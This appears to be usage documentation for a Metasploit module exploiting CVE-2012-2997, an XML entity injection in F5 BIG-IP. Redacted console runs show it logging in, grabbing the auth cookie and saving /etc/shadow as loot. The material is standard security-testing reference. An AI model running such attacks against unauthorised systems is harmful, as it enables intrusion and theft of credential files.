Get arbitrary file access to F5 files with a valid username and password...

# XML Entity Injection with Valid Username and Password.

This is an auxiliary module that allows a valid F5 BIG-IP user to gain arbitrary file access on unpatched F5's utilizing an authentication cookie in an XML entity injection attack.  It can be run as follows on vulnerable F5's.  It will provide feed back for F5's that are not vulnerable.  It will also provide feedback in the event the login is not successful, and various other circumstances.  This module is for CVE 2012-2997.

### Vulnerable run
```
msf > use auxiliary/scanner/http/f5_bigip_fileaccess 
msf auxiliary(f5_bigip_fileaccess) > set PASSWORD <redacted>
PASSWORD => <redacted>
msf auxiliary(f5_bigip_fileaccess) > set USERNAME <redacted>
USERNAME => <redacted>
msf auxiliary(f5_bigip_fileaccess) > set RHOSTS <redacted>
RHOSTS => <redacted>
msf auxiliary(f5_bigip_fileaccess) > run

[*] Attempting login with '<redacted>' : '<redacted>'
[*] Acessing Login URI:'/tmui/logmein.html?msgcode=2&'
[+] SUCCESSFUL LOGIN. '<redacted>' : '<redacted>'
[+] FOUND BIGIPAuthCookie. '<redacted>'
[*] <redacted>:443 Connecting to F5 BIG-IP Interface
[*] <redacted>:443 F5 BIG-IP - /etc/shadow saved in <redacted>/.msf4/loot/20130721194905_default_<redacted>_f5.bigip.file_400188.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(f5_bigip_fileaccess) >
```

### Not Vulnerable run:
```
msf > use auxiliary/scanner/http/f5_bigip_fileaccess 
msf auxiliary(f5_bigip_fileaccess) > set PASSWORD <redacted>
PASSWORD => <redacted>
msf auxiliary(f5_bigip_fileaccess) > set USERNAME <redacted>
USERNAME => <redacted>
msf auxiliary(f5_bigip_fileaccess) > set RHOSTS <redacted>
RHOSTS => <redacted>
msf auxiliary(f5_bigip_fileaccess) > run

[*] Attempting login with '<redacted>' : '<redacted>'
[*] Acessing Login URI:'/tmui/logmein.html?msgcode=2&'
[+] SUCCESSFUL LOGIN. '<redacted>' : '<redacted>'
[+] FOUND BIGIPAuthCookie. '<redacted>'
[*] <redacted>:443 Connecting to F5 BIG-IP Interface
[-] LOOT Empty.  F5 BIG-IP is Likely Patched
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(f5_bigip_fileaccess) >
```